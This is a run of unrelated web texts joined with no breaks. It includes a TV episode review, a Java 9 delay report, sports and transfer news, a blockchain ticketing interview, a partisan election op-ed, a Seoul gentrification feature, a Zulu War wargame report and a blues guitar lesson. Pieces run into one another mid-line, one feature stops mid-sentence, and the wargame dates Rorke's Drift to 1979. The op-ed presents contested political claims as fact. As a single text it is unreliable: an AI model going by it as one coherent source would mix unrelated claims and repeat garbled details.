But the problem is, I enjoyed the episode. And I know a lot of other people did. Which, considering this felt like less of a Rick and Morty episode as it did a Simpsons episode. However, I can see that this was needed, they needed to address the lingering threads from the last episode, and the sooner they got it out of the way, the better, because the show can now get back to the obscene strangeness next episode, which is set to focus on our man Rick Sanchez becoming a pickle, because that’s what this show does.
This was not a bad episode, but people expect every single episode of this show to be perfect, and they will delude themselves when it isn’t. Rickmancing the Stone is one of the weaker episodes of the show, no, it isn’t terrible, but when you look at something like Close Rick-counters of the Rick Kind, or even The Rickshank Redemption, it just doesn’t hold up. Does this put me off the show? Not at all. The fandom of this show is somewhat rabid, before writing this review I was worried about getting hate in the comments for my views, but really I don’t care, I like this show, just not so much this episode, it had weak jokes and a poor plot designed to carry the character development.
On the positive side, the sub plot with Morty getting the arm of a fallen warrior and going on a quest for vengeance was actually very interesting and perhaps that should have been the main plot of the episode, as the few very funny moments came from that plot and not the main story of the episode. Another standout was the character of Hemorrhage, a bucket wearing warlord that Summer falls for and eventually marries (then swiftly divorces) by the end of the episode. It doesn’t take a genius to see how the Summer/Hemorrhage marriage is a parallel to the Jerry/Beth situation and that is where this plot falls short, it’s lost the subtlety and feels like it just has to take a tell not show approach, which sucks, because moments like Jerry staring into the distance whilst the wind itself calls him a loser, are funny from their subtlety. Is this a problem with American comedy as a whole? Maybe.
To wrap this review up, I pose two questions. Is Rick and Morty going downhill and failing? Not at all. Was this a weak episode? Utterly yes. For those new to this site, we don’t give scores to things we review, we just give our personal opinions, these were mine. I really look forward to the rest of the season, I think it could be really great, just as long as episodes like this one are kept to a minimum, despite being somewhat needed.
Did you disagree with what I said? Tell me down in the comments or on Twitter @G33kP0p and we can talk it out. If you liked this and want to see more like it, but much sooner and be able to talk about it with others on an exclusive Discord server, you can support us on Patreon, which helps us to continue to make the best content we can. For more like this, keep it G33k!Technical Article => Programming => Java
The original Java 9 planned release date is March 2017. But latest source shows that Java 9 release will be delayed again to July 2017. It's four months later than the planned date.
Oracle Chief Architect of Java Platform group Mark Reinhold proposes this new release date in a message sent on the OpenJDK mailing list.
Despite this progress, at this point it's clear that Jigsaw needs more time. We recently received critical feedback that motivated a redesign of the module system's package-export feature [5], without which we'd have failed to achieve one of our main goals. There are, beyond that, still many open design issues [6], which will take time to work through. Looking at the release as a whole, the number of open bugs that are new in JDK 9 is quite a bit larger than it was at this point in JDK 8. The maintainers of many popular projects are now actively testing against the JDK 9 EA builds [7], but we'd like to see even more in order to be confident that potential issues have been found and reported. For these reasons I hereby propose a four-month extension of the JDK 9 schedule, moving the General Availability (GA) milestone to July 2017.
Mark Reinhold says there are lots of feedback from the users and developers on Jigsaw, the biggest feature introduced in Java 9, after the early releases are available. The Java group is considering to rework the Package-Export feature. And there are other design issues to be tackled as well.
Apart from this, there are many security related bugs to be fixed and the number of open bugs in current Java 9 is far more than the number in Java 8. It will take time to fix all of them.
As planned, there will be many new features introduced in Java 9, including a brand new console tool for running Java statements -- JShell. Users may need to wait four more months to use these new features.Go ahead: Touch it, hug it, give it a big wet kiss.
The Stanley Cup isn't the germ bomb you might suspect.
The NHL champion Blackhawks' beloved trophy stopped by the Chicago Tribune newsroom Thursday, and so we took the opportunity to do something the Cup's keeper said had never been done: We swabbed it for germs.
We sent the samples to the Chicago lab EMSL Analytical, which found very little general bacteria and no signs of staph, salmonella or E. coli.
"It's surprisingly clean," lab manager Nancy McDonald said.
Just 400 counts of general bacteria were found, she said. By comparison, a desk in an office typically has more than 10,000.
"I think that's great," said a somewhat relieved Philip Pritchard, keeper of the Cup and curator of the Hockey Hall of Fame in Toronto.
Every day, he said, the Cup is washed with a soft detergent. Twice a year it's taken apart and professionally cleaned with a high-end silver polish.
When the Cup is on tour, more than 5,000 people touch or kiss it a day, Pritchard said. Tales of far worse activities over the years are legendary, though unconfirmed by the alleged perpetrators.
While some people won't kiss it for fear of germs, most "don't think twice about it," Pritchard said. "But we can reassure them they are going to be OK."
sroe@tribune.comTen people died and five are missing after wooden passenger boat capsized off Biting Village on Bintan Island in Indonesia. The boat with 17 tourists was traveling to Bintan Island, but bad weather and high waves capsized her on 4 nautical miles off Biting Village. The local authorities and nearby vessel started immediately search and rescue operations, but succeeded to rescue only two passengers. Later were found bodies of ten people, who drowned in the heavy seas and another 5 people are missing. Into the SAR are engaged 200 people, 20 ships and 50 fishing boats, but bad weather and strong seas hamper the operation and reduce visibility.
“The ship sank due to strong winds and huge waves in the waters off Biting Village in district Kota Tanjung Pinang, Tanjung Pinang, Riau Islands Province. It was carrying tourists, who wanted to visit Biting”, said the spokesman National Board for Disaster Management, Sutopo Purwo Nugroho. “When the boat capsized and sank, the passengers tried to swim to the pontons in the vicinity. Some of the passengers could not swim and drowned, while others were taken by the current and waves”, added he.
According to the witness evidences the waves in the area reached 10 feet in height. Some of the drowned people were found far away from the scene of the accident, probably taken by the strong currents.
The investigation for the root cause of the accident is under way. The SAR continue, but the chance to find the missing people reduces, due to the strong winds and big wavesWaiting until referendum would be too late to speak up for Britain’s place in Europe, says Douglas Alexander
Labour wants British businesses to wade into the debate over the UK’s future in Europe, saying they risk being too late to stem the rising sceptic tide in the country.
The shadow foreign secretary, Douglas Alexander, appeals to wavering chief executives to recognise they have a patriotic duty as well as a commercial self-interest to find their voice now. He wants them to make the case with authority and passion, rather than to prevaricate until the last days of a possible referendum campaign. Insisting the issue of Europe transcends politics, he will say on Monday: “Your voice must be heard because if you wait, it could be too late. That risk is real.”
Alexander’s remarks reflect a growing fear that some business executives are going to try to sit out the referendum campaign or as in the Scottish referendum campaign only intervene close to polling day.
In a speech to European diplomats, Alexander will argue: “The starting gun on the campaign to keep Britain in Europe has been fired. And Britain needs you to join in the race. The work begins now. Now is the time to speak out. Now is the time to speak up”.
Alexander is also meeting senior executives for a Labour business summit, and with Labour leader Ed Miliband last week held private talks with 10 senior company chief executives to discuss Europe.
He points to recent polling by YouGov of more than 700 business leaders across the UK showing an increase in those who believe the prospect of Britain leaving the European Union had gone up in the last six months. The poll showed nearly 80% thought the prospect of Britain leaving Europe had gone up and amongst business leaders in the manufacturing sector, it was closer to 90%. A quarter of all the businesses leaders contacted thought it had gone up significantly.
Alexander says: “These figures show the mounting concern within the business community. But mounting concern has not yet been matched by increased engagement through the public debate”. Drawing on his experience in Scotland, where Alexander threw himself into the No Campaign, he says: “ I know, from private and public discussions, that many businesses in Scotland had been aware of the risks of separation for a long time. And I do understand why they were reluctant to speak out. They didn’t want to become political targets. But today I want to make the case that we should learn from our experience of that referendum in Scotland.
“Once again business faces the dilemma of how to face down a populist leader mobilising and an increasingly angry public campaign. Last summer it was about Scotland leaving the UK. Next summer it could be about the UK leaving Europe.
“I know that some companies may feel that now is not the time to speak up on our membership of the EU. Perhaps they think that this is something that can and should wait until the moment of decision. That was the revealed preference of some businesses in Scotland over the summer. For business to speak up for Britain’s place in Europe is not about party political advantage, it is about recognising where our country’s national interest and your business interests lies. It is about patriotic duty and good business sense.”
He insists that Labour would make the case for reform, pointing to plans for countries outside the eurozone to have permanent observer status at Eurogroup meetings and at a new council on the single market.
Alexander believes the issue of Europe may be a bridgehead for Labour to build a stronger relationship with business so at least the voice of business will not be uniformly unwilling to support Labour as was the case in 2010 election.
In his speech, Alexander will say: “Leaving the EU means permanently ending one of our nation’s long-running economic successes. It means actively choosing an economy with weaker investment, less trade with the rest of the world, poorer productivity and worse living standards.”EUGENE, Ore. – The Oregon women's basketball found a win which avoided them since 2004 as the Ducks knocked off No. 19 Stanford, 62-55, on Sunday afternoon at Matthew Knight Arena.
The Ducks had lost 18-straight games to the Cardinal, but UO was able to secure the victory behind 22 points and 12 rebounds from Jillian Alleyne.
“Stanford is the standard by which everyone in this conference is judged, and to do what we did tonight I think speaks to the character of our team and how they've really improved," said head coach Kelly Graves. "They put it together tonight, they kept their composure and they did it. I'm really, really proud of this group. They deserved a win like this.”
With the win the Ducks improve to 13-16 (6-12 Pac-12) while the Cardinal drop to 21-9 (13-5 Pac-12). Oregon will be the No. 10 seed in the Pac-12 Tournament, which starts Thursday in Seattle.
How It Happened: Oregon jumped out to an early, 7-0, lead on buckets by Katelyn Loper and Amanda Delgado as Stanford did not score until Bonnie Samuelson hit back-to-back threes with just over 14 minutes left in the first half. After the Ducks scored the first seven points of the game, Stanford scored 11 straight to take an 11-7 lead. The Ducks tied it up, 14-14, on a three by Jordan Loera and took back the lead, 21-18, with 7:30 to go in the first on a layup and free throw by Alleyne. Stanford held a 30-29 lead going into halftime. Alleyne had 13 points to lead all scorers at the break.
The teams went back and forth to start the second half before Oregon went on a 14-2 run to take a 49-40 lead with 10:35 left to play after a pair of free throws from Delgado. The Ducks led 57-46 with 7:01 left after back-to-back threes by Delgado and Loera. UO protected the ball down the stretch and limited Stanford to just four points in the last 5:31.
Oregon held the Cardinal to just 35.8 percent shooting from the field and tied a season low for turnovers with seven.
"It sounds kind of cliché, but I've seen so many places, I've met so many people and I've had great teammates along the way," Loper said. "For this game to happen and to beat (Stanford) with my teammates is like a perfect ending and I couldn't ask for it any other way.”
Stat Sheet: Delgado scored 10 points and Lexi Petersen had a well-rounded game with 11 points, four assists and three rebounds. Loper chipped in nine points and grabbed seven rebounds, and Loera was a spark off the bench with eight points.
Pac-12 Tourney Bracket: Oregon will be the No. 10 seed in the Pac-12 Tournament next week and meet No. 7 seed Washington State in the first round. The Ducks and Cougars split the season series, with each team winning on the road.
Records Watch: After grabbing 12 rebounds against the Cardinal, Alleyne is now 36 rebounds away from matching Bev Smith's all-time UO record of 1,362. Alleyne has 1,326 in her career.
Senior Day: The Ducks started seniors Megan Carpenter, Delgado and Loper … Oregon honored Carpenter, Delgado and Loper plus Marie Berthuel prior to the game... All four were on the floor in the final minutes of the win... Delgado was playing in the 100th game of her career.
Up Next: The Ducks head to the Pac-12 Tournament in Seattle, Wash., next week for a game on Thursday at 11:30 a.m. against Washington State. The game will be played at Key Arena and it will be televised live on Pac-12 Networks.Sevilla president José Castro has today confirmed that contacts have begun for the club to bring back Manchester City winger Jesus Navas in the summer.
Speaking at the presentation of Oscar Arias as the new sporting director – he is replacing Monchi, who has joined Roma – Castro said that there are “some contacts” and that they hope to advance talks soon to bring back the 31-year-old.
In the past week or two, Navas’ return to the Ramón Sánchez Pizjuán hasn’t seemed as clear-cut as before, with doubts over whether he’d be a starter in Jorge Sampaoli’s side, plus strong interest from Roma, with Monchi said to have offered him a superior financial package to what Sevilla can pay.
However, Navas’ heart has always been on a return home after his spell in the Premier League, and it now looks like things are in motion after a period of doubt.
Manchester City will receive no transfer fee for Navas because his contract expires on June 30, and he is expected to be one of numerous departures this summer as Pep Guardiola attempts to overhaul his underachieving squad.
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For a limited time, you can get your hands on a Manchester City official shirt from just £30 for adults and £22.50 for children.
Make sure you grab one!Interview with Diane Bowers, CEO of Blue Horizon Entertainment
Aventus Network Blocked Unblock Follow Following Jul 25, 2017
As part of the road to solidifying and growing our relationship with Blue Horizon Entertainment, we decided to share some insight into the CEO Diane Bowers with the Aventus community.
Diane, could you please describe yourself, your background and some of your past experiences in the live entertainment industry?
At heart, I love to build things and fix things which could be my epitaph especially relating to my history of managing business.and effecting turnarounds. Another driving concept, inspired by Booker T. Washington, is the notion that “Excellence is to do a common thing in an uncommon way”. These few rather simple core drivers have shaped my past, the present, and will underwrite my expected future.
Live music entertainment was a foundational element of my life. The first concert that I ever worked featured BB King and Santana. I was hooked and got involved locally with a national promoter bringing groups to Miami Beach. A vivid memory was the Yes concert — the night when my right ear hearing was permanently impaired. This was a different era — the hippie movement was in full swing — and people were laid back and seemed to get along. One responsibility was ticket sales which was then a manual, time intensive, risky process. We had to batch printed tickets, physically deliver them to record stores for sale, call for counts, move unsold tickets to high demand outlets if we guessed wrong, and scramble to pick up the cash and unsold tickets for delivery to the box office at the 11th hour.
Years later, after finishing grad school and a corporate stint with Mobil Oil, I bolted to Atlantic City at the dawn of the casino gaming era and started working at Resorts International. Our Superstar Theater was the East Coast epicenter for headline entertainers. Sinatra, Tom Jones, Julio Iglesias, Don Rickles, and Engelbert, among others, visited annually and packed the house. Amazing times and spectacular events … I immediately appreciated the power of entertainment to strengthen a brand, build loyalty, and shift long-term demographics. My life and career then diverged to build leadership and business skills in other industries, and I was fortunate to spend several years in the technology sector where I gained some expertise in software development, application marketing, and product support. Every life event, to date, has readied me to return to the live entertainment world to launch Blue Horizon Entertainment with several casino and entertainment executives who were all in Atlantic City when gaming was launched.
Blue Horizon is a turn-key venue management specialist that builds and executes world-class live entertainment programs for clients in the casino industry — both Native American and non-tribal — and for non-casino venues in secondary markets. Our festival division will focus on creating unique immersive branded events for our casino clients and independently in underserved markets. We have a pipeline of prospects that will establish a network of venues under management across the USA; a roll-up that reduces system-wide operating costs. Success will, in part, rely on embracing cutting-edge technologies that enhance the customer experience at every touchpoint, insulates fans from fraudulent practices, and helps create a safe and secure venue environment. Our value proposition has been pre-tested, fine-tuned, and validated by entertainment and casino industry titans.
In your experiences, how would you describe the current ticketing paradigm? What are some of the more damaging problems in the industry?
Event ticketing has obviously evolved from my early days but although digitized, the process has been largely controlled by a few dominant players and there has not been any incentive to disrupt the status quo. Fans often are boxed out as scale tickets are bought in bulk by resellers at the instant they hit the market. For high-demand events, prices in the secondary market can hit extraordinary levels, only affordable by the wealthiest fan base. Neither the artist, the promoter, nor the venue typically participates in the revenue upside. Those who purchase in the secondary market also have no absolute assurance that their ticket is unique and valid. Lastly, of critical importance today, a venue owner will never know who is actually holding the ticket at the door seeking entry to the event.
When did you first become familiar with the blockchain space and why do you feel it could be the technology that solves the problems in the ticketing industry when other technologies such as machine learning have failed?
Consistent with our mission at Blue Horizon to embrace disruptive technologies, we suspected that the existing ticketing paradigm was ripe for change and we were vigilant in researching what was brewing behind the scenes in search of innovations and innovators who were challenging the status quo. Old dog, new tricks. I was introduced to blockchain last year and initially had trouble grasping what is was, how revolutionary and transformative the protocol had the potential to become on a global scale, and who was beginning to play in the sandbox. Digging deeper, I discovered that event ticketing was a real world application where several blockchain innovators were seeking remedies to the inherent deficiencies that I cited earlier. A compelling attribute was the fact that blockchain would enable a verifiable chain of custody for a ticket from the point of creation to the point of redemption. We knew we were on to something but the realm of possibility remained a bit fuzzy.
Finally, why did you choose to align yourself and your organization, Blue Horizon Entertainment, with Aventus despite the existence of several other blockchain based ticketing platforms?
Ultimately, Aventus surfaced for us as the leading player in building a blockchain-based event ticketing solution that effectively disintermediates the initial purchase and creates the indelible link of the buyer to the ticket. More impressive was their solution for controlling resales in the secondary market whereby the change of custody was validated and the process controlled the transaction. This enabled the additional revenue to be distributed back to the key stakeholders (original buyer, the artist(s), the promoter, and the venue) according to a proscribed formula. Their capability is, we believe, far more advanced than any competitor. As we further explored real world issues and possibilities with Aventus, they recognized the potential to revolutionize venue safety and security with their application. Since Blockchain identifies the unique customer, screening protocols could identify customers who might pose a threat, and facial recognition and/or biometric scans at the point of entry could further control access. These are down-stream opportunities with doable solutions.
Aventus is positioned to “fix” chronic dysfunctions in the live event ticketing industry by “building” a robust blockchain-based solution that permits equal and fair access to the market and channels incremental financial benefits to key stakeholders. Their team, business savvy, network of advisors, investors, and advocates is quite impressive. Alan, Annika, and Kavon represent and deliver “excellence” so it should be crystal clear why I was personally drawn to Aventus and why Blue Horizon has aligned and is betting that their innovative technology and application will become the dominant player in the space. We are providing input and counsel from the user perspective as the application develops and intend to market, install, and support Aventus throughout our venue network.One message to take away from Donald Trump’s presidential victory: Americans don’t want to be ruled. They prefer self-government. The election was not about liberals versus conservatives. Rather it was a contest between Progressivism and the anti-Progressivism of which Trump is the democratic—even the crudely demotic—embodiment.
After Barack Obama took Progressivism’s belief in government by hyper-educated experts purportedly guided only by the public interest to its ugly extreme with his supercilious, know-it-all demeanor, as if the views of those who saw the world differently were beneath contempt, the electorate grew fed up with the politics first molded by Woodrow Wilson and perfected in the New Deal. They didn’t want to be bossed around by the Environmental Protection Agency about what they could do on their own private property, as if filling in a hole on land 50 miles from the nearest navigable waterway fell under the EPA’s purview. They lost faith in both the expertise and the disinterestedness of such administrative-state agencies when the EPA set out to shut down America’s coal industry and put miners out of work based on a climate hypothesis that Trump voters did not believe was “settled science,” despite Obama’s haughty claim that their denial could only spring from the knuckle-dragging ignorance of people who, frightened by a changing world they couldn’t understand, clung to their religion and their guns, among other atavisms.
Trump voters didn’t like regulatory agencies that can make rules like legislators, can demand documents without a judge’s subpoena, can enter and search a business’s premises without a warrant to look for infractions of its rules, can charge an individual or company of wrongdoing without a grand jury indictment and adjudicate the guilt and exact the punishment without a jury of one’s peers or the supervision of a real judge but only an “administrative judge,” answerable to the agency whose case he is hearing— hardly impartially. Citizens vaguely sensed that such legislation without legislators and judging without judges rode roughshod over due process, the separation of powers, and indeed the Constitution and Bill of Rights that provides those precious barriers against tyranny. They saw the proliferation of such unaccountable agencies under the satirically named Affordable Care Act and the Dodd-Frank Law, and they not only didn’t like them but also didn’t like the costly increase in government employees to boss them around at such high salaries that the bedroom communities surrounding Washington became the nation’s richest neighborhoods, while the average citizen’s wages stagnated. It was hard not to think of Thomas Jefferson’s complaint in the Declaration of Independence that George III had “erected a multitude of New Offices, and sent hither swarms of Officers to harass our people, and eat out their substance”—so that the nation’s 22 million government employees now outnumber Americans who work in manufacturing.
Citizens grew apprehensive when elected officials around the country proposed outlawing climate denial, as if the First Amendment were not absolute and foundational to American liberty. They found the idea of “hate crimes” troubling, as if the specific belief in a malefactor’s mind, rather than the mere malice of his intent, made a difference in the degree of his culpability. And with colleges outlawing “hate speech,” and the increasing willingness of elite culture to silence politically incorrect utterance, they saw an ever-growing threat to the First Amendment’s freedom of belief and speech.
When the Internal Revenue Service undertook to exercise a pocket veto on the free speech of conservative nonprofits, citizens understood that the administrative agencies’ pretense of disinterested nonpartisanship was a lie, a mere mask for the exercise of tyrannical power in the one government function that James Madison wrote in The Federalist especially required the utmost impartiality. When Congress passed Obamacare without even reading it, when the Supreme Court blessed it by saying that the law said what it explicitly did not say, Americans saw that they had gone far into the realm of lawless power. And when President Obama used his pen and his phone to govern as arbitrarily as the Stuart kings, flooding the country with illegal aliens and bogus asylum-seekers whose schooling, health care, and housing were to be paid for by citizens who no longer had a say in what they were willing to support with their tax dollars, the sense of being subjects rather than self-governing citizens became hard to deny. But of course Obama, who had famously said that if you had a business, “you didn’t build that”—it was the creation of society under government’s direction—believed to his very marrow the Progressive-era idea that government had to be vastly more powerful than any mere individual citizen, who without its protection and direction had no defense against the vast might of the corporations that created American wealth.
Government as nothing but the exercise of raw, lawless power: that’s what many Trump voters saw as the program of scandal-scarred Hillary Clinton, who they judged had disregarded the laws about protecting government documents with a let-them-eat-cake sense of entitlement; who, as if in fulfillment of Lenin’s prophecy that the capitalists would gladly sell the Communists the rope to hang them with, allowed 20 percent of the world’s uranium reserves to fall into Russian hands (and doubtless some of it then into Iranian centrifuges), seemingly prompted by speaking fees to her husband and contributions to her family’s “charitable” foundation; who seemed to run her foundation as a favor- and access-vending operation, more like a racketeer-influenced corrupt organization than a charity—such a candidate seemed as different from George Washington, John Adams, or Thomas Jefferson as chalk from cheese.
So Trump voters had a pretty good idea of what they didn’t want when they voted for someone promising to make America great again. Let’s hope that he delivers even a part of the self-reliant constitutional liberty they crave.FORT DRUM, NY - A "dummy" missile lost during a flight in late August has been
recovered and returned to Fort Drum.
On August 28th, between the hours of 9:00 am and 10:30 am on August 28th, an
Apache (AH64) helicopter from the 10th Combat Aviation Brigade, 10th Mountain
Division en route to Stewart International Airport, NY from Fort Drum lost an inert
(non-explosive) M36 Captive Flight Training Missile (see photo attached).
The training aide is not explosive or motorized. It is used to simulate the weight of
a missile load during flight.
The M36 Captive Training Missile was found by a farmer while mowing a field in
Martinsburg, NY on Friday, September 4. Upon recognizing the object as the lost
dummy missile he contacted Fort Drum officials who were able to recover the
item completely.
"The cooperation we received from the local farmer is indicative of the great
relationship we have with the North Country community. No doubt, it's a pretty
neat souvenir - but he did the right thing and called us so we could recover the
lost government property. We are very grateful to him," said Colonel Michael C.
McCurry, Commander, 10th Combat Aviation Brigade, U.S. Army Fort Drum &
10th Mountain Division.By Jung Min-ho, Bahk Eun-ji, Kim Bo-eunHongdae, the area around Seoul’s Hongik University, has long served as an incubator for indie bands and poor urban artists. Rumble Fish, Jaurim, Crying Nut, and other musicians performed there before they rose to stardom.However, musicians are leaving what used to be a hub of freedom and underground music, as a plethora of commercial shops are quickly occupying the area.Lee Young-jik, a 23-year-old keyboard player of indie band Peacock Green, said an obvious change is taking place in the cultural mecca of Seoul.“Hongdae is still packed with crowds every weekend but now the place is building its reputation as a dance club district while less people visit the area to see indie bands’ performances,” Lee said. “I can sense the change, a bitter but apparent fact for many musicians.”As the glory days of indie bands in Hongdae seems to be on a downward curve, many musicians who have lost their jobs are forced to leave to seek opportunities in other places.With the area gaining international recognition, the rent has gone up to the point where many poor artists can no longer afford to live there just like the artists in SoHo had to leave the area after rents skyrocketed.The lower Manhattan area used to be a place for artists but is now inhabited by luxury shops, leaving many of them priced out after building a reputation. Hongdae is experiencing the same fate with bigger franchises filling the artists’ empty spots.“I still believe the Hongdae spirit is alive,” Lee said. “But if proper action is not taken at this point, I really do not know what this place is going to look like 10 or 20 years from now. But the evident fact is that change is happening and the place will continue to change.”Shin Hyun-yo, an owner of a small bar Soul Underground located nearby exit 6 of Hongdae Station, is getting ready to close down.He has been in the business for almost five years.Enjoying the unique and special ambience of Hongdae that was created by young, unknown and penniless artists, Shin used to stroll down the streets of the area during his college years in the ‘90s.That was the main reason he opened his own bar and offered a cozy stage for underground singers.“I think I’m almost done with Hongdae,” Shin said. “It is no longer the place it used to be. Money changes everything. Small business owners like me have been leaving this place. Oh, no, more precisely, they are kicked out by big money and I’m sick of it,” he said.He pointed out rents have surged around Hongdae due to an inrush of capital from conglomerates.For the past decade, the place used to be popular among many artists, with relatively low rents.Thanks to those distinctive features, young people visited in order to enjoy the atmosphere. But over time, the hippie-like area turned into one of the most lucrative business zones attracting business people.“Many small business owners like me are struggling to keep my head above water. Running a store or bar with a small amount of capital is not a good idea. I’m going to leave because I can’t and won’t make good money but there is another reason behind my decision,” Shin said.“I don’t think I can bear to watch this place continue to change. I need to get away.”He was most disappointed last year, witnessing his neighbor who ran a restaurant for 25 years leaving because the owner of the building doubled the rent. His neighbor couldn’t afford it, so he had no choice but to move out in search of another cheaper place.“Do you know what replaced the restaurant? A franchise coffee shop,” Shin said.“There is no sense of morality or business ethics. I strongly believe the restaurant played a critical role in making the place popular over the last decades, but the landlord simply ignored the restaurant owner’s contribution. That’s just how money works,” Shin said in a tired voice.But he promised himself that he will come back and re-start his bar and next time, he will name it not Underground but Wonderground.“My name, Hyunyo means the state of shining very brightly. I want the meaning of my name to dwell in the bar,” he said.Unplugged is one of the few places left in Hongdae where musicians can come and play. Located in an old building on a street lined with clothing stores, the owner runs |
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This press release is for informational purposes only and does not constitute an offer or solicitation to sell securities. Any such offer or solicitation will be made only by means that are in compliance with applicable securities and other laws, including Rule 506(c) of Regulation D. No information or opinions presented herein are intended to form the basis for any purchase decision, and no specific recommendations are intended. Accordingly this press release does not constitute investment advice or counsel or solicitation for investment in any security. This press release does not constitute or form part of, and should not be construed as, any offer for sale or subscription of, or any invitation to offer to buy or subscribe for, any securities, nor should it or any part of it form the basis of, or be relied on in any connection with, any contract or commitment whatsoever. doc.ai expressly disclaims any and all responsibility for any direct or consequential loss or damage of any kind whatsoever arising directly or indirectly from: (i) reliance on any information contained in this press release, (ii) any error, omission or inaccuracy in any such information, and (iii) any action resulting therefrom.
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http://www.doc.aiFictional Background:
Following on from the dual disasters of Isandlwana and Rorke’s Drift the British advance into Zululand turned into full scale retreat. This action takes place a few days after the mission station at Rorke’s Drift was overrun on the 22/23rd January, 1979.
Chelmsford was forced to retreat into Natal and this battle was a rearguard action against Zulu regiments who were following up the retreating British and local white civilians.
Rules: Black Powder (Zulu Supplement)
Forces:
British: 3 Companies 2/24th, a half company of 2/24th, One Battery, RA, 1 x Company Natal Native Contingent, Tiny detachment of Boer farmers and Tiny detachment of Boers guarding their wagon train.
Zulu: 6 Regiments divided into three brigades of 2, one small unit of skirmishers.
Initial dispositions:
One company of British troops defending Van Lunteran’s farmstead with a company of Natal native Contingent in support. The small half company on look out on the kopje overlooking the battlefield. Boer civilians on the road with their wagons.
two companies of British infantry and the Artillery were off board. They could come on with a successful command roll one unit at a time from Turn three (so one on turn 3, one turn four etc).
The Zulu could come on the board one brigade at a time from turn one on a successful command roll.
The Battle:
The battle was very frustrating for both sides at times. Reserves for both sides refused to come on and dice rolls were definitely on the poor side for both sides.
That was the game. Fun and totally enjoyable. Lessons learned. If you can get good dice rolls on shooting the British can generally keep the Zulu at bay. The Special Rule that allows them to do two rounds of closing fire is particularly deadly – if the shooting gods are with you of course.
For the Zulu you need to keep your supports close and get stuck in. The Zulu tried a bit of shooting but it was hopeless.
I seriously think Garnett Woolsley will be taking over command of the Campaign sooner rather than later.
AdvertisementsChops: Intermediate
Theory: Intermediate
Lesson Overview:
• Understand where in the blues form to use the half-whole diminished scale.
• Create tension-filled altered lines using diminished arpeggios.
• Impress your friends with your mastery of secondary dominants. Click here to download sound clips from this lesson's notation.
I’ve always been a fan of Robben Ford, Larry Carlton, and more recently, Matt Schofield. Influenced by the jazz language, they will use more complex ideas but don’t sound brainy doing it. Also, what they’re playing is just as important as where they’re playing it. More commonly used by jazz players, the half-whole diminished scale and diminished 7th arpeggio are right at home in a blues setting, and we’ll be discussing ways to use them over a 12-bar blues.
In Fig. 1, the first measure is the A Mixolydian mode (1–2–3–4–5–6–b7), the scale typically used over dominant 7th chords. In the second measure, our diminished scale starts on A and is built with alternating half-step and whole-step intervals, creating scale tones 1–b9–#9–3–#11–5–13–b7. When using this scale over an A7 chord, you not only get the basic chord tones (1–3–5–b7) and the 13th, you also have a few chord alterations (b9, #9, and #11) that will create some musical tension. The rule of thumb is to play a half-whole diminished scale from the root of your dominant 7th chord. I’ve included both scales so you can hear the difference between the insideness of the Mixolydian mode and the altered sound of the diminished scale. The fingering I’m using for the diminished scale is not as common as some, but it’s eerily similar to the A Mixolydian mode. Practicing both scales back to back will help you to see where the altered tones lie on the fretboard.
In addition to scale-based lines, diminished arpeggios will also create some tension and inject a little angularity to your solo. There are two diminished 7th arpeggios that you can get from the A half-whole diminished scale: Adim7 (A–C–D#–F# or 1–#9–#11–13) and Bbdim7 (Bb–C#–E–G or b9–3–5–b7). The Bb arpeggio fits the A7 chord better because it contains more chord tones than the first.
The first half of Fig. 2 is the A7 arpeggio followed by the Bb diminished 7th arpeggio. The rule of thumb here is to start the diminished arpeggio a half-step above the root of your dominant 7th. Again, both arpeggios are included so you can hear the difference in their sound.
Musical Disclaimer: It’s not that you couldn’t use the Adim7 arpeggio, just be aware that it will sound more “outside” than the Bbdim7. Altered scales and arpeggios are important for creating the musical tension you so desire. But remember, musically resolving your temporary tonal excursion is just as important, if not more. Plan it out! Aim for chord tones in the following measure or jump back into the tried-and-true minor pentatonic scale. Otherwise, prepare yourself for the “don’t taze me bro” type of reaction you’ll get from your bandmates.
We’re going to apply the half-whole diminished scale to a standard 12-bar blues in the key of A, as shown in Fig. 3. Harmonically, it’s pretty straightforward using only A7 (I), D7 (IV), and E7 (V). Because each chord is a dominant 7th, you could use a half-whole diminished scale in every measure if you wanted, but that would be all tension and no release. So, where are you going to use the diminished scale? You want to use it at places where there is a V–I chord progression (measures four and five, measures 12 and one), or any time you go back to the I chord (measures six and seven, measures 10 and 11).
We tackle the first place in the form where the diminished scale can be used (measures three through five) in Fig. 4. You might be thinking “A7 to D7 isn’t a V–I chord progression,” and it isn’t. In the key of A, that is. Pretend for a minute that you are in the key of D where V–I is now A7 to D. This theoretical slight of hand is referred to as a secondary dominant and temporarily makes A7 the “new” V chord. Your solo will have some forward motion by adding tension to the end of the first phrase. It will sound like you’re modulating to a new key, but you’re actually setting up the release of tension when you get to D7. This lick starts with the A minor pentatonic in measure three, uses a Pat Martino-style phrase from the A half-whole diminished scale in measure four, and resolves to F#, the third of D7 on the downbeat of measure five.
We capitalize on the move back to the I chord in Fig. 5. With a nod to Wes Montgomery, this D half-whole (D–Eb–F–F#–G#–A–B–C) diminished run in measure six is actually one measure long, but is displaced by one count. By starting this lick on beat 2, you delay the resolution and create a little more tension—subtle, but noticeable. The actual resolution happens with the half-step bend to C# on beat 2 of measure seven. The A minor blues scale is used to begin and end the entire line, flanking your diminished sensibilities with some meat-and-potatoes guitar playing.
The last phrase of a blues is where all the action is. From bluesy pentatonic licks to fusion-infused diminished lines, there are many tools at your disposal. Fig. 6 starts with an A Dorian (A–B–C–D–E–F#–G) flavor by using a half-step bend to C natural and an F# in measure nine. You could use the E half-whole diminished scale (E–F–G–Ab–Bb–B–C#–D) in this measure if you’re looking to ratchet up the tension from the beginning! Measures 10 and 11 is another “return to the I chord” situation, using an Eb diminished 7th arpeggio pattern over D7 that resolves to A minor pentatonic material, reminiscent of Robben Ford or Matt Schofield. The end of this phrase uses the E half-whole diminished scale, leaving out the 13 and #11, but emphasizing the b9 and #9, as well as chord tones of E7. Also, the line starts at the very end of measure 11—half a beat early—and resolves on beat 4 of measure 12. Things don’t always have to line up with the bar lines. Starting and ending your phrases before (or after) they’re supposed to is a very hip and effective way to create tension.
These are just a few ways to use the half-whole diminished scale and diminished arpeggios over a blues. Drag out your looper, try them at different spots, and let your ear decide. Incorporate other fingerings, experiment with scale and arpeggio combinations, and remember to work out resolutions to your lines. You’re probably only a half-step away from resolution.
